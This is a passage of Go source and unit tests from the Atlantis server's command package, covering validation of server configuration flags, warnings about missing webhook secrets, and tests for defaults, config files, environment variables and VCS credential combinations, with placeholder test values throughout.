parsing --%s flag value %q: %s", BitbucketWebhookSecretFlag, userConfig.BitbucketBaseURL, err) } if parsed.Scheme != "http" && parsed.Scheme != "https" { return fmt.Errorf("--%s must have http:// or https://, got %q", BitbucketBaseURLFlag, userConfig.BitbucketBaseURL) } parsed, err = url.Parse(userConfig.GiteaBaseURL) if err != nil { return fmt.Errorf("error parsing --%s flag value %q: %s", GiteaWebhookSecretFlag, userConfig.GiteaBaseURL, err) } if parsed.Scheme != "http" && parsed.Scheme != "https" { return fmt.Errorf("--%s must have http:// or https://, got %q", GiteaBaseURLFlag, userConfig.GiteaBaseURL) } if userConfig.RepoConfig != "" && userConfig.RepoConfigJSON != "" { return fmt.Errorf("cannot use --%s and --%s at the same time", RepoConfigFlag, RepoConfigJSONFlag) } // Warn if any tokens have newlines. for name, token := range map[string]string{ GHTokenFlag: userConfig.GithubToken, GHTokenFileFlag: userConfig.GithubTokenFile, GHWebhookSecretFlag: userConfig.GithubWebhookSecret, GitlabTokenFlag: userConfig.GitlabToken, GitlabWebhookSecretFlag: userConfig.GitlabWebhookSecret, BitbucketTokenFlag: userConfig.BitbucketToken, BitbucketWebhookSecretFlag: userConfig.BitbucketWebhookSecret, GiteaTokenFlag: userConfig.GiteaToken, GiteaWebhookSecretFlag: userConfig.GiteaWebhookSecret, } { if strings.Contains(token, "\n") { s.Logger.Warn("--%s contains a newline which is usually unintentional", name) } } if userConfig.TFEHostname != DefaultTFEHostname && userConfig.TFEToken == "" { return fmt.Errorf("if setting --%s, must set --%s", TFEHostnameFlag, TFETokenFlag) } _, patternErr := patternmatcher.New(strings.Split(userConfig.AutoplanFileList, ",")) if patternErr != nil { return fmt.Errorf("invalid pattern in --%s, %s: %w", AutoplanFileListFlag, userConfig.AutoplanFileList, patternErr) } if _, err := userConfig.ToAllowCommandNames(); err != nil { return fmt.Errorf("invalid --%s: %w", AllowCommandsFlag, err) } if _, err := userConfig.ToWebhookHttpHeaders(); err != nil { return fmt.Errorf("invalid --%s: %w", WebhookHttpHeaders, err) } return nil } // setAtlantisURL sets the externally accessible URL for atlantis. func (s *ServerCmd) setAtlantisURL(userConfig *server.UserConfig) error { if userConfig.AtlantisURL == "" { hostname, err := os.Hostname() if err != nil { return fmt.Errorf("failed to determine hostname: %w", err) } userConfig.AtlantisURL = fmt.Sprintf("http://%s:%d", hostname, userConfig.Port) } return nil } // setDataDir checks if ~ was used in data-dir and converts it to the actual // home directory. If we don't do this, we'll create a directory called "~" // instead of actually using home. It also converts relative paths to absolute. func (s *ServerCmd) setDataDir(userConfig *server.UserConfig) error { finalPath := userConfig.DataDir // Convert ~ to the actual home dir. if strings.HasPrefix(finalPath, "~/") { var err error finalPath, err = homedir.Expand(finalPath) if err != nil { return fmt.Errorf("determining home directory: %w", err) } } // Convert relative paths to absolute. finalPath, err := filepath.Abs(finalPath) if err != nil { return fmt.Errorf("making data-dir absolute: %w", err) } userConfig.DataDir = finalPath return nil } // setMarkdownTemplateOverridesDir checks if ~ was used in markdown-template-overrides-dir and converts it to the actual // home directory. If we don't do this, we'll create a directory called "~" // instead of actually using home. It also converts relative paths to absolute. func (s *ServerCmd) setMarkdownTemplateOverridesDir(userConfig *server.UserConfig) error { finalPath := userConfig.MarkdownTemplateOverridesDir // Convert ~ to the actual home dir. if strings.HasPrefix(finalPath, "~/") { var err error finalPath, err = homedir.Expand(finalPath) if err != nil { return fmt.Errorf("determining home directory: %w", err) } } // Convert relative paths to absolute. finalPath, err := filepath.Abs(finalPath) if err != nil { return fmt.Errorf("making markdown-template-overrides-dir absolute: %w", err) } userConfig.MarkdownTemplateOverridesDir = finalPath return nil } // setVarFileAllowlist checks if var-file-allowlist is unassigned and makes it default to data-dir for better backward // compatibility. func (s *ServerCmd) setVarFileAllowlist(userConfig *server.UserConfig) { if userConfig.VarFileAllowlist == "" { userConfig.VarFileAllowlist = userConfig.DataDir } } // trimAtSymbolFromUsers trims @ from the front of the github and gitlab usernames func (s *ServerCmd) trimAtSymbolFromUsers(userConfig *server.UserConfig) { userConfig.GithubUser = strings.TrimPrefix(userConfig.GithubUser, "@") userConfig.GiteaUser = strings.TrimPrefix(userConfig.GiteaUser, "@") userConfig.GitlabUser = strings.TrimPrefix(userConfig.GitlabUser, "@") userConfig.BitbucketUser = strings.TrimPrefix(userConfig.BitbucketUser, "@") userConfig.AzureDevopsUser = strings.TrimPrefix(userConfig.AzureDevopsUser, "@") } func (s *ServerCmd) securityWarnings(userConfig *server.UserConfig) { if userConfig.GithubUser != "" && userConfig.GithubWebhookSecret == "" && !s.SilenceOutput { s.Logger.Warn("no GitHub webhook secret set. This could allow attackers to spoof requests from GitHub") } if userConfig.GiteaUser != "" && userConfig.GiteaWebhookSecret == "" && !s.SilenceOutput { s.Logger.Warn("no Gitea webhook secret set. This could allow attackers to spoof requests from Gitea") } if userConfig.GitlabUser != "" && userConfig.GitlabWebhookSecret == "" && !s.SilenceOutput { s.Logger.Warn("no GitLab webhook secret set. This could allow attackers to spoof requests from GitLab") } if userConfig.BitbucketUser != "" && userConfig.BitbucketBaseURL != DefaultBitbucketBaseURL && userConfig.BitbucketWebhookSecret == "" && !s.SilenceOutput { s.Logger.Warn("no Bitbucket webhook secret set. This could allow attackers to spoof requests from Bitbucket") } if userConfig.AzureDevopsWebhookUser != "" && userConfig.AzureDevopsWebhookPassword == "" && !s.SilenceOutput { s.Logger.Warn("no Azure DevOps webhook user and password set. This could allow attackers to spoof requests from Azure DevOps.") } } // deprecationWarnings prints a warning if flags that are deprecated are // being used. func (s *ServerCmd) deprecationWarnings(userConfig *server.UserConfig) error { var deprecatedFlags []string // Currently there are no deprecated flags; if flags become deprecated, add them here like so // if userConfig.SomeDeprecatedFlag { // deprecatedFlags = append(deprecatedFlags, SomeDeprecatedFlag) // } // if userConfig.TFDistribution != "" { deprecatedFlags = append(deprecatedFlags, TFDistributionFlag) } if len(deprecatedFlags) > 0 { warning := "WARNING: " if len(deprecatedFlags) == 1 { warning += fmt.Sprintf("Flag --%s has been deprecated.", deprecatedFlags[0]) } else { warning += fmt.Sprintf("Flags --%s and --%s have been deprecated.", strings.Join(deprecatedFlags[0:len(deprecatedFlags)-1], ", --"), deprecatedFlags[len(deprecatedFlags)-1:][0]) } fmt.Println(warning) } return nil } // withErrPrint prints out any cmd errors to stderr. func (s *ServerCmd) withErrPrint(f func(*cobra.Command, []string) error) func(*cobra.Command, []string) error { return func(cmd *cobra.Command, args []string) error { err := f(cmd, args) if err != nil && !s.SilenceOutput { s.printErr(err) } return err } } // printErr prints err to stderr using a red terminal colour. func (s *ServerCmd) printErr(err error) { fmt.Fprintf(os.Stderr, "%sError: %s%s\n", "\033[31m", err.Error(), "\033[39m") } func isValidLogLevel(level string) bool { return slices.Contains(ValidLogLevels, level) } ================================================ FILE: cmd/server_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package cmd import ( "bufio" "cmp" "fmt" "os" "path/filepath" "reflect" "slices" "strings" "testing" homedir "github.com/mitchellh/go-homedir" "github.com/spf13/cobra" "github.com/spf13/viper" "gopkg.in/yaml.v3" "github.com/runatlantis/atlantis/server" githubtestdata "github.com/runatlantis/atlantis/server/events/vcs/github/testdata" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) // passedConfig is set to whatever config ended up being passed to NewServer. // Used for testing. var passedConfig server.UserConfig type ServerCreatorMock struct{} func (s *ServerCreatorMock) NewServer(userConfig server.UserConfig, _ server.Config) (ServerStarter, error) { passedConfig = userConfig return &ServerStarterMock{}, nil } type ServerStarterMock struct{} func (s *ServerStarterMock) Start() error { return nil } // Adding a new flag? Add it to this slice for testing in alphabetical // order. var testFlags = map[string]any{ ADHostnameFlag: "dev.azure.com", ADTokenFlag: "ad-token", ADUserFlag: "ad-user", ADWebhookPasswordFlag: "ad-wh-pass", ADWebhookUserFlag: "ad-wh-user", AtlantisURLFlag: "url", AutoplanModules: false, AutoplanModulesFromProjects: "", AllowCommandsFlag: "version,plan,apply,unlock,import,approve_policies", AllowForkPRsFlag: true, APISecretFlag: "", AutoDiscoverModeFlag: "auto", AutomergeFlag: true, AutoplanFileListFlag: "**/*.tf,**/*.yml", BitbucketApiUserFlag: "bitbucket-api-user", BitbucketBaseURLFlag: "https://bitbucket-base-url.com", BitbucketTokenFlag: "bitbucket-token", BitbucketUserFlag: "bitbucket-user", BitbucketWebhookSecretFlag: "bitbucket-secret", CheckoutStrategyFlag: CheckoutStrategyMerge, CheckoutDepthFlag: 0, DataDirFlag: "/path", DefaultTFDistributionFlag: "terraform", DefaultTFVersionFlag: "v0.11.0", DisableApplyAllFlag: true, DisableMarkdownFoldingFlag: true, DisableRepoLockingFlag: true, DisableGlobalApplyLockFlag: false, DiscardApprovalOnPlanFlag: true, EmojiReaction: "eyes", ExecutableName: "atlantis", FailOnPreWorkflowHookError: false, GHAllowMergeableBypassApply: false, GHHostnameFlag: "ghhostname", GHTeamAllowlistFlag: "", GHTokenFlag: "token", GHTokenFileFlag: "", GHUserFlag: "user", GHAppIDFlag: int64(0), GHAppKeyFlag: "", GHAppKeyFileFlag: "", GHAppSlugFlag: "atlantis", GHAppInstallationIDFlag: int64(0), GHOrganizationFlag: "", GHWebhookSecretFlag: "secret", GiteaBaseURLFlag: "http://localhost", GiteaTokenFlag: "gitea-token", GiteaUserFlag: "gitea-user", GiteaWebhookSecretFlag: "gitea-secret", GiteaPageSizeFlag: 30, GitlabGroupAllowlistFlag: "", GitlabHostnameFlag: "gitlab-hostname", GitlabTokenFlag: "gitlab-token", GitlabUserFlag: "gitlab-user", GitlabWebhookSecretFlag: "gitlab-secret", GitlabStatusRetryEnabledFlag: false, HideUnchangedPlanComments: false, HidePrevPlanComments: false, IncludeGitUntrackedFiles: false, LockingDBType: "boltdb", LogLevelFlag: "debug", MarkdownTemplateOverridesDirFlag: "/path2", MaxCommentsPerCommand: 10, StatsNamespace: "atlantis", AllowDraftPRs: true, PortFlag: 8181, ParallelPoolSize: 100, ParallelPlanFlag: true, ParallelApplyFlag: true, PendingApplyStatusFlag: false, QuietPolicyChecks: false, RedisHost: "", RedisInsecureSkipVerify: false, RedisPassword: "", RedisPort: 6379, RedisTLSEnabled: false, RedisDB: 0, RepoAllowlistFlag: "github.com/runatlantis/atlantis", RepoConfigFlag: "", RepoConfigJSONFlag: "", SilenceNoProjectsFlag: false, SilenceVCSStatusNoProjectsFlag: false, SilenceForkPRErrorsFlag: true, SilenceAllowlistErrorsFlag: true, SilenceVCSStatusNoPlans: true, SkipCloneNoChanges: true, SlackTokenFlag: "slack-token", SSLCertFileFlag: "cert-file", SSLKeyFileFlag: "key-file", RestrictFileList: false, TFDistributionFlag: "terraform", TFDownloadFlag: true, TFDownloadURLFlag: "https://my-hostname.com", TFEHostnameFlag: "my-hostname", TFELocalExecutionModeFlag: true, TFETokenFlag: "my-token", UseTFPluginCache: true, VarFileAllowlistFlag: "/path", VCSStatusName: "my-status", IgnoreVCSStatusNames: "", WebhookHttpHeaders: `{"Authorization":"Bearer some-token","X-Custom-Header":["value1","value2"]}`, WebBasicAuthFlag: false, WebPasswordFlag: "atlantis", WebUsernameFlag: "atlantis", WebsocketCheckOrigin: false, WriteGitCredsFlag: true, DisableAutoplanFlag: true, DisableAutoplanLabelFlag: "no-auto-plan", DisableUnlockLabelFlag: "do-not-unlock", EnablePolicyChecksFlag: false, EnableRegExpCmdFlag: false, EnableDiffMarkdownFormat: false, EnableProfilingAPI: false, } func TestExecute_Defaults(t *testing.T) { t.Log("Should set the defaults for all unspecified flags.") c := setup(map[string]any{ GHUserFlag: "user", GHTokenFlag: "token", GiteaBaseURLFlag: "http://localhost", RepoAllowlistFlag: "*", }, t) err := c.Execute() Ok(t, err) // Get our hostname since that's what atlantis-url gets defaulted to. hostname, err := os.Hostname() Ok(t, err) // Get our home dir since that's what data-dir and markdown-template-overrides-dir defaulted to. dataDir, err := homedir.Expand("~/.atlantis") Ok(t, err) markdownTemplateOverridesDir, err := homedir.Expand("~/.markdown_templates") Ok(t, err) strExceptions := map[string]string{ GHUserFlag: "user", GHTokenFlag: "token", GiteaBaseURLFlag: "http://localhost", DataDirFlag: dataDir, MarkdownTemplateOverridesDirFlag: markdownTemplateOverridesDir, AtlantisURLFlag: "http://" + hostname + ":4141", RepoAllowlistFlag: "*", VarFileAllowlistFlag: dataDir, } strIgnore := map[string]bool{ "config": true, } for flag, cfg := range stringFlags { t.Log(flag) if _, ok := strIgnore[flag]; ok { continue } else if excep, ok := strExceptions[flag]; ok { Equals(t, excep, configVal(t, passedConfig, flag)) } else { Equals(t, cfg.defaultValue, configVal(t, passedConfig, flag)) } } for flag, cfg := range boolFlags { t.Log(flag) Equals(t, cfg.defaultValue, configVal(t, passedConfig, flag)) } for flag, cfg := range intFlags { t.Log(flag) Equals(t, cfg.defaultValue, configVal(t, passedConfig, flag)) } } func TestExecute_Flags(t *testing.T) { t.Log("Should use all flags that are set.") c := setup(testFlags, t) err := c.Execute() Ok(t, err) for flag, exp := range testFlags { Equals(t, exp, configVal(t, passedConfig, flag)) } } func getUserConfigKeysWithFlags() []string { var ret []string u := reflect.TypeFor[server.UserConfig]() for i := 0; i < u.NumField(); i++ { userConfigKey := u.Field(i).Tag.Get("mapstructure") // By default, we expect all fields in UserConfig to have flags defined in server.go and tested here in server_test.go // Some fields are too complicated to have flags, so are only expressible in the config yaml flagKey := u.Field(i).Tag.Get("flag") if flagKey == "false" { continue } ret = append(ret, userConfigKey) } return ret } func TestUserConfigAllTested(t *testing.T) { t.Log("All settings in userConfig should be tested.") for _, userConfigKey := range getUserConfigKeysWithFlags() { t.Run(userConfigKey, func(t *testing.T) { // If a setting is configured in server.UserConfig, it should be tested here. If there is no corresponding const // for specifying the flag, that probably means one *also* needs to be added to server.go if _, ok := testFlags[userConfigKey]; !ok { t.Errorf("server.UserConfig has field with mapstructure %s that is not tested, and potentially also not configured as a flag. Either add it to testFlags (and potentially as a const in cmd/server), or remove it from server.UserConfig", userConfigKey) } }) } } func getDocumentedFlags(t *testing.T) []string { var ret []string docFile := "../runatlantis.io/docs/server-configuration.md" file, err := os.Open(docFile) Ok(t, err) defer file.Close() scanner := bufio.NewScanner(file) for scanner.Scan() { line := scanner.Text() if !strings.HasPrefix(line, "### ") { continue } split := strings.Split(line, "`") if len(split) != 3 { t.Errorf("Unexpected line in %s: %s", docFile, line) continue } flag := split[1] if !strings.HasPrefix(flag, "--") { t.Errorf("Unexpected line in %s: %s", docFile, line) continue } flag = strings.TrimPrefix(flag, "--") ret = append(ret, flag) } err = scanner.Err() Ok(t, err) return ret } func testIsSorted[S ~[]E, E cmp.Ordered](t *testing.T, x S) { // TODO: This is n^2, probably a better algorithm for this // Also, this works best for lists that are mostly sorted, if the whole thing is wrong, it's just // going to say that every individual element is out of order for i, elem := range x { for j, compareTo := range x { if i == j { continue } if i > j && cmp.Less(elem, compareTo) { t.Errorf("%v is out of order (should be before %v)", elem, compareTo) break } if i < j && cmp.Less(compareTo, elem) { t.Errorf("%v is out of order (should be after %v)", elem, compareTo) break } } } } func TestAllFlagsDocumented(t *testing.T) { // This is not a unit test per se, but is a helpful way of making sure when flags are added/removed // the corresponding documentation is kept up-to-date. t.Log("All flags in userConfig should have documentation in server-configuration.md.") userConfigKeys := getUserConfigKeysWithFlags() documentedFlags := getDocumentedFlags(t) testIsSorted(t, documentedFlags) slices.Sort(userConfigKeys) slices.Sort(documentedFlags) for _, userConfigKey := range userConfigKeys { _, found := slices.BinarySearch(documentedFlags, userConfigKey) if !found { t.Errorf("Found undocumented config key: %s", userConfigKey) } } for _, documentedFlag := range documentedFlags { // --help and --config are documented but don't have a setting on userConfig if documentedFlag == "help" || documentedFlag == "config" { continue } _, found := slices.BinarySearch(userConfigKeys, documentedFlag) if !found { t.Errorf("Found documentation for flag that doesn't exist: %s", documentedFlag) } } } func TestExecute_ConfigFile(t *testing.T) { t.Log("Should use all the values from the config file.") // Use yaml package to quote values that need quoting cfgContents, yamlErr := yaml.Marshal(&testFlags) Ok(t, yamlErr) tmpFile := tempFile(t, string(cfgContents)) defer os.Remove(tmpFile) // nolint: errcheck c := setup(map[string]any{ ConfigFlag: tmpFile, }, t) err := c.Execute() Ok(t, err) for flag, exp := range testFlags { Equals(t, exp, configVal(t, passedConfig, flag)) } } func TestExecute_EnvironmentVariables(t *testing.T) { t.Log("Environment variables should work.") for flag, value := range testFlags { envKey := "ATLANTIS_" + strings.ToUpper(strings.ReplaceAll(flag, "-", "_")) os.Setenv(envKey, fmt.Sprintf("%v", value)) // nolint: errcheck defer func(key string) { os.Unsetenv(key) }(envKey) } c := setup(nil, t) err := c.Execute() Ok(t, err) for flag, exp := range testFlags { Equals(t, exp, configVal(t, passedConfig, flag)) } } func TestExecute_NoConfigFlag(t *testing.T) { t.Log("If there is no config flag specified Execute should return nil.") c := setupWithDefaults(map[string]any{ ConfigFlag: "", }, t) err := c.Execute() Ok(t, err) } func TestExecute_ConfigFileExtension(t *testing.T) { t.Log("If the config file doesn't have an extension then error.") c := setupWithDefaults(map[string]any{ ConfigFlag: "does-not-exist", }, t) err := c.Execute() Equals(t, "invalid config: reading does-not-exist: Unsupported Config Type \"\"", err.Error()) } func TestExecute_ConfigFileMissing(t *testing.T) { t.Log("If the config file doesn't exist then error.") c := setupWithDefaults(map[string]any{ ConfigFlag: "does-not-exist.yaml", }, t) err := c.Execute() Equals(t, "invalid config: reading does-not-exist.yaml: open does-not-exist.yaml: no such file or directory", err.Error()) } func TestExecute_ConfigFileExists(t *testing.T) { t.Log("If the config file exists then there should be no error.") tmpFile := tempFile(t, "") defer os.Remove(tmpFile) // nolint: errcheck c := setupWithDefaults(map[string]any{ ConfigFlag: tmpFile, }, t) err := c.Execute() Ok(t, err) } func TestExecute_InvalidConfig(t *testing.T) { t.Log("If the config file contains invalid yaml there should be an error.") tmpFile := tempFile(t, "invalidyaml") defer os.Remove(tmpFile) // nolint: errcheck c := setupWithDefaults(map[string]any{ ConfigFlag: tmpFile, }, t) err := c.Execute() Assert(t, strings.Contains(err.Error(), "unmarshal errors"), "should be an unmarshal error") } // Should error if the repo allowlist contained a scheme. func TestExecute_RepoAllowlistScheme(t *testing.T) { c := setup(map[string]any{ GHUserFlag: "user", GHTokenFlag: "token", RepoAllowlistFlag: "http://github.com/*", }, t) err := c.Execute() Assert(t, err != nil, "should be an error") Equals(t, "--repo-allowlist cannot contain ://, should be hostnames only", err.Error()) } func TestExecute_ValidateLogLevel(t *testing.T) { cases := []struct { description string flags map[string]any expectError bool }{ { "log level is invalid", map[string]any{ LogLevelFlag: "invalid", }, true, }, { "log level is valid uppercase", map[string]any{ LogLevelFlag: "DEBUG", }, false, }, } for _, testCase := range cases { t.Log("Should validate log level when " + testCase.description) c := setupWithDefaults(testCase.flags, t) err := c.Execute() if testCase.expectError { Assert(t, err != nil, "should be an error") } else { Ok(t, err) } } } func TestExecute_ValidateCheckoutStrategy(t *testing.T) { c := setupWithDefaults(map[string]any{ CheckoutStrategyFlag: "invalid", }, t) err := c.Execute() ErrEquals(t, "invalid checkout strategy: not one of branch or merge", err) } func TestExecute_ValidateSSLConfig(t *testing.T) { expErr := "--ssl-key-file and --ssl-cert-file are both required for ssl" cases := []struct { description string flags map[string]any expectError bool }{ { "neither option set", make(map[string]any), false, }, { "just ssl-key-file set", map[string]any{ SSLKeyFileFlag: "file", }, true, }, { "just ssl-cert-file set", map[string]any{ SSLCertFileFlag: "flag", }, true, }, { "both flags set", map[string]any{ SSLCertFileFlag: "cert", SSLKeyFileFlag: "key", }, false, }, } for _, testCase := range cases { t.Log("Should validate ssl config when " + testCase.description) c := setupWithDefaults(testCase.flags, t) err := c.Execute() if testCase.expectError { Assert(t, err != nil, "should be an error") Equals(t, expErr, err.Error()) } else { Ok(t, err) } } } func TestExecute_ValidateVCSConfig(t *testing.T) { expErr := "--gh-user/--gh-token or --gh-user/--gh-token-file or --gh-app-id/--gh-app-key-file or --gh-app-id/--gh-app-key or --gitea-user/--gitea-token or --gitlab-user/--gitlab-token or --bitbucket-user/--bitbucket-token or --azuredevops-user/--azuredevops-token must be set" cases := []struct { description string flags map[string]any expectError bool }{ { "no config set", make(map[string]any), true, }, { "just github token set", map[string]any{ GHTokenFlag: "token", }, true, }, { "just gitea token set", map[string]any{ GiteaTokenFlag: "token", }, true, }, { "just gitlab token set", map[string]any{ GitlabTokenFlag: "token", }, true, }, { "just bitbucket token set", map[string]any{ BitbucketTokenFlag: "token", }, true, }, { "just azuredevops token set", map[string]any{ ADTokenFlag: "token", }, true, }, { "just github user set", map[string]any{ GHUserFlag: "user", }, true, }, { "just gitea user set", map[string]any{ GiteaUserFlag: "user", }, true, }, { "just github app set", map[string]any{ GHAppIDFlag: "1", }, true, }, { "just github app key file set", map[string]any{ GHAppKeyFileFlag: "key.pem", }, true, }, { "just github app key set", map[string]any{ GHAppKeyFlag: githubtestdata.PrivateKey, }, true, }, { "just gitlab user set", map[string]any{ GitlabUserFlag: "user", }, true, }, { "just bitbucket user set", map[string]any{ BitbucketUserFlag: "user", }, true, }, { "just azuredevops user set", map[string]any{ ADUserFlag: "user", }, true, }, { "github user and gitlab token set", map[string]any{ GHUserFlag: "user", GitlabTokenFlag: "token", }, true, }, { "gitlab user and github token set", map[string]any{ GitlabUserFlag: "user", GHTokenFlag: "token", }, true, }, { "github user and bitbucket token set", map[string]any{ GHUserFlag: "user", BitbucketTokenFlag: "token", }, true, }, { "github user and gitea token set", map[string]any{ GHUserFlag: "user", GiteaTokenFlag: "token", }, true, }, { "gitea user and github token set", map[string]any{ GiteaUserFlag: "user", GHTokenFlag: "token", }, true, }, { "github user and github token set and should be successful", map[string]any{ GHUserFlag: "user", GHTokenFlag: "token", }, false, }, { "github user and github token file and should be successful", map[string]any{ GHUserFlag: "user", GHTokenFileFlag: "/path/to/token", }, false, }, { "github user, github token, and github token file and should fail", map[string]any{ GHUserFlag: "user", GHTokenFlag: "token", GHTokenFileFlag: "/path/to/token", }, true, }, { "gitea user and gitea token set and should be successful", map[string]any{ GiteaUserFlag: "user", GiteaTokenFlag: "token", }, false, }, { "github app and key file set and should be successful", map[string]any{ GHAppIDFlag: "1", GHAppKeyFileFlag: "key.pem", }, false, }, { "github app and key set and should be successful", map[string]any{ GHAppIDFlag: "1", GHAppKeyFlag: githubtestdata.PrivateKey, }, false, }, { "gitlab user and gitlab token set and should be successful", map[string]any{ GitlabUserFlag: "user", GitlabTokenFlag: "token", }, false, }, { "bitbucket user and bitbucket token set and should be successful", map[string]any{ BitbucketUserFlag: "user", BitbucketTokenFlag: "token", }, false, }, { "azuredevops user and azuredevops token set and should be successful", map[string]any{ ADUserFlag: "user", ADTokenFlag: "token", }, false, }, { "all set should be successful", map[string]any{ GHUserFlag: "user", GHTokenFlag: "token", GiteaUserFlag: "user", GiteaTokenFlag: "token", GitlabUserFlag: "user", GitlabTokenFlag: "token", BitbucketUserFlag: "user", BitbucketTokenFlag: "token", ADUserFlag: "user", ADTokenFlag: "token", }, false, }, } for _, testCase := range cases { t.Log("Should validate vcs config when " + testCase.description) testCase.flags[RepoAllowlistFlag] = "*" c := setup(testCase.flags, t) err := c.Execute() if testCase.expectError { Assert(t, err != nil, "should be an error") Equals(t, expErr, err.Error()) } else { Ok(t, err) } } } func TestExecute_ValidateAllowCommands(t *testing.T) { cases := []struct { name string allowCommandsFlag string expErr string }{ { name: "invalid allow commands", allowCommandsFlag: "noallow", expErr: "invalid --allow-commands: unknown command name: noallow", }, { name: "success with empty allow commands", allowCommandsFlag: "", expErr: "", }, } for _, testCase := range cases { c := setupWithDefaults(map[string]any{ AllowCommandsFlag: testCase.allowCommandsFlag, }, t) err := c.Execute() if testCase.expErr != "" { ErrEquals(t, testCase.expErr, err) } else { Ok(t, err) } } } func TestExecute_ExpandHomeInDataDir(t *testing.T) { t.Log("If ~ is used as a data-dir path, should expand to absolute home path") c := setup(map[string]any{ GHUserFlag: "user", GHTokenFlag: "token", RepoAllowlistFlag: "*", DataDirFlag: "~/this/is/a/path", }, t) err := c.Execute() Ok(t, err) home, err := homedir.Dir() Ok(t, err) Equals(t, home+"/this/is/a/path", passedConfig.DataDir) } func TestExecute_RelativeDataDir(t *testing.T) { t.Log("Should convert relative dir to absolute.") c := setupWithDefaults(map[string]any{ DataDirFlag: "../", }, t) // Figure out what ../ should be as an absolute path. expectedAbsolutePath, err := filepath.Abs("../") Ok(t, err) err = c.Execute() Ok(t, err) Equals(t, expectedAbsolutePath, passedConfig.DataDir) } func TestExecute_GithubUser(t *testing.T) { t.Log("Should remove the @ from the github username if it's passed.") c := setup(map[string]any{ GHUserFlag: "@user", GHTokenFlag: "token", RepoAllowlistFlag: "*", }, t) err := c.Execute() Ok(t, err) Equals(t, "user", passedConfig.GithubUser) } func TestExecute_GithubApp(t *testing.T) { t.Log("Should remove the @ from the github username if it's passed.") c := setup(map[string]any{ GHAppKeyFlag: githubtestdata.PrivateKey, GHAppIDFlag: "1", RepoAllowlistFlag: "*", }, t) err := c.Execute() Ok(t, err) Equals(t, int64(1), passedConfig.GithubAppID) } func TestExecute_GithubAppWithInstallationID(t *testing.T) { t.Log("Should pass the installation ID to the config.") c := setup(map[string]any{ GHAppKeyFlag: githubtestdata.PrivateKey, GHAppIDFlag: "1", GHAppInstallationIDFlag: "2", RepoAllowlistFlag: "*", }, t) err := c.Execute() Ok(t, err) Equals(t, int64(1), passedConfig.GithubAppID) Equals(t, int64(2), passedConfig.GithubAppInstallationID) } func TestExecute_GiteaUser(t *testing.T) { t.Log("Should remove the @ from the gitea username if it's passed.") c := setup(map[string]any{ GiteaUserFlag: "@user", GiteaTokenFlag: "token", RepoAllowlistFlag: "*", }, t) err := c.Execute() Ok(t, err) Equals(t, "user", passedConfig.GiteaUser) } func TestExecute_GitlabUser(t *testing.T) { t.Log("Should remove the @ from the gitlab username if it's passed.") c := setup(map[string]any{ GitlabUserFlag: "@user", GitlabTokenFlag: "token", RepoAllowlistFlag: "*", }, t) err := c.Execute() Ok(t, err) Equals(t, "user", passedConfig.GitlabUser) } func TestExecute_BitbucketUser(t *testing.T) { t.Log("Should remove the @ from the bitbucket username if it's passed.") c := setup(map[string]any{ BitbucketUserFlag: "@user", BitbucketTokenFlag: "token", RepoAllowlistFlag: "*", }, t) err := c.Execute() Ok(t, err) Equals(t, "user", passedConfig.BitbucketUser) } func TestExecute_ADUser(t *testing.T) { t.Log("Should remove the @ from the azure devops username if it's passed.") c := setup(map[string]any{ ADUserFlag: "@user", ADTokenFlag: "token", RepoAllowlistFlag: "*", }, t) err := c.Execute() Ok(t, err) Equals(t, "user", passedConfig.AzureDevopsUser) } // Base URL must have a scheme. func TestExecute_BitbucketServerBaseURLScheme(t *testing.T) { c := setup(map[string]any{ BitbucketUserFlag: "user", BitbucketTokenFlag: "token", RepoAllowlistFlag: "*", BitbucketBaseURLFlag: "mydomain.com", }, t) ErrEquals(t, "--bitbucket-base-url must have http:// or https://, got \"mydomain.com\"", c.Execute()) c = setup(map[string]any{ BitbucketUserFlag: "user", BitbucketTokenFlag: "token", RepoAllowlistFlag: "*", BitbucketBaseURLFlag: "://mydomain.com", }, t) ErrEquals(t, "error parsing --bitbucket-webhook-secret flag value \"://mydomain.com\": parse \"://mydomain.com\": missing protocol scheme", c.Execute()) } // Port should be retained on base url. func TestExecute_BitbucketServerBaseURLPort(t *testing.T) { c := setup(map[string]any{ BitbucketUserFlag: "user", BitbucketTokenFlag: "token", RepoAllowlistFlag: "*", BitbucketBaseURLFlag: "http://mydomain.com:7990", }, t) Ok(t, c.Execute()) Equals(t, "http://mydomain.com:7990", passedConfig.BitbucketBaseURL) } // Can't use both --repo-config and --repo-config-json. func TestExecute_RepoCfgFlags(t *testing.T) { c := setup(map[string]any{ GHUserFlag: "user", GHTokenFlag: "token", RepoAllowlistFlag: "github.com", RepoConfigFlag: "repos.yaml", RepoConfigJSONFlag: "{}", }, t) err := c.Execute() ErrEquals(t, "cannot use --repo-config and --repo-config-json at the same time", err) } // Can't use both --tfe-hostname flag without --tfe-token. func TestExecute_TFEHostnameOnly(t *testing.T) { c := setup(map[string]any{ GHUserFlag: "user", GHTokenFlag: "token", RepoAllowlistFlag: "github.com", TFEHostnameFlag: "not-app.terraform.io", }, t) err := c.Execute() ErrEquals(t, "if setting --tfe-hostname, must set --tfe-token", err) } // Must set allow or whitelist. func TestExecute_AllowAndWhitelist(t *testing.T) { c := setup(map[string]any{ GHUserFlag: "user", GHTokenFlag: "token", }, t) err := c.Execute() ErrEquals(t, "--repo-allowlist must be set for security purposes", err) } func TestExecute_AutoDetectModulesFromProjects_Env(t *testing.T) { t.Setenv("ATLANTIS_AUTOPLAN_MODULES_FROM_PROJECTS", "**/init.tf") c := setupWithDefaults(map[string]any{}, t) err := c.Execute() Ok(t, err) Equals(t, "**/init.tf", passedConfig.AutoplanModulesFromProjects) } func TestExecute_AutoDetectModulesFromProjects(t *testing.T) { c := setupWithDefaults(map[string]any{ AutoplanModulesFromProjects: "**/*.tf", }, t) err := c.Execute() Ok(t, err) Equals(t, "**/*.tf", passedConfig.AutoplanModulesFromProjects) } func TestExecute_AutoplanFileList(t *testing.T) { cases := []struct { description string flags map[string]any expectErr string }{ { "default value", map[string]any{ AutoplanFileListFlag: DefaultAutoplanFileList, }, "", }, { "valid value", map[string]any{ AutoplanFileListFlag: 